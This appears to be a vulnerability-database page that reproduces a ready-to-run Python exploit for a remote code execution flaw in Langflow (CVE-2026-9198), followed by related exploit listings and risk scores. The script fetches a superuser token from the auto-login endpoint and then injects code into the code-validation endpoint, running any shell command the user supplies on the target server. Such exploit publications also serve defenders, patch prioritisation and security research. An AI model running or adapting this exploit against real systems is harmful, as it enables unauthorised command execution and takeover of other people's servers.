Langflow 1.10.0 - RCE
| Reporter | Title | Published | Views | Family All 35 |
|---|---|---|---|---|
| Exploit for Code Injection in Langflow | 29 Aug 202623:37 | – | githubexploit | |
| Exploit for CVE-2026-9198 | 24 Jul 202609:29 | – | githubexploit | |
| Exploit for Code Injection in Langflow | 5 Aug 202617:44 | – | githubexploit | |
| Exploit for CVE-2026-9198 | 21 Jul 202611:14 | – | githubexploit | |
| Exploit for Code Injection in Langflow | 22 Aug 202615:55 | – | githubexploit | |
| Exploit for Code Injection in Langflow | 24 Jul 202620:50 | – | githubexploit | |
| CVE-2026-9198 | 17 Jul 202617:36 | – | attackerkb | |
| Vulnerability of components /api/v1/validate/code and /api/v1/auto_login in the software for visual development of IBM Langflow OSS AI agents, allowing a perpetrator to execute arbitrary code. | 22 Jul 202600:00 | – | bdu_fstec | |
| CVE-2026-9198 | 17 Jul 202618:18 | – | circl | |
| IBM Langflow Code Injection Vulnerability | 4 Aug 202600:00 | – | cisa_kev |
10
# Exploit Title: Langflow 1.10.0 - RCE
# Exploit Author: Richard Howe <rhowe425>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: < 1.10.0
# Tested on: Ubuntu 22.04
# CVE : CVE-2026-9198
import argparse
from requests import get, post
def stage1(base_url: str) -> str:
endpoint = '/api/v1/auto_login'
headers = {
'Content-Type': 'application/json',
}
try:
resp = get(base_url + endpoint)
except Exception as e:
raise RuntimeError(f"Error querying API.\n{str(e)}")
if resp.status_code == 200:
resp_json = resp.json()
return resp_json['access_token']
else:
raise RuntimeError(f"API returned with status code: {resp.status_code}")
def stage2(base_url:str, token: str, cmd: str):
endpoint = '/api/v1/validate/code'
headers = {'Authorization': f'Bearer {token}'}
data = {"code":"\ndef exploit(\n _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\n )\n):\n pass\n" % cmd}
try:
resp = post(base_url + endpoint, headers=headers, json=data)
except Exception as e:
raise RuntimeError(f"Error querying API.\n{str(e)}")
if resp.status_code == 200:
resp_json = resp.json()
print(resp_json)
else:
raise RuntimeError(f"API returned with status code: {resp.status_code}")
def main():
parser = argparse.ArgumentParser(description="Exploit for Langflow RCE CVE-2026-9198")
parser.add_argument('-u', '--url', required=True, help="Target url. e.g. http://127.0.0.1:7860")
parser.add_argument('-c', '--command', required=True, help="Bash command to execute.")
args = parser.parse_args()
# Retrieve SUPERUSER token
token = stage1(base_url=args.url)
# Leverage SUPERUSER token to execute arbitrary code
stage2(base_url=args.url, token=token, cmd=args.command)
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Sep 2026 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
EPSS0.57019
SSVC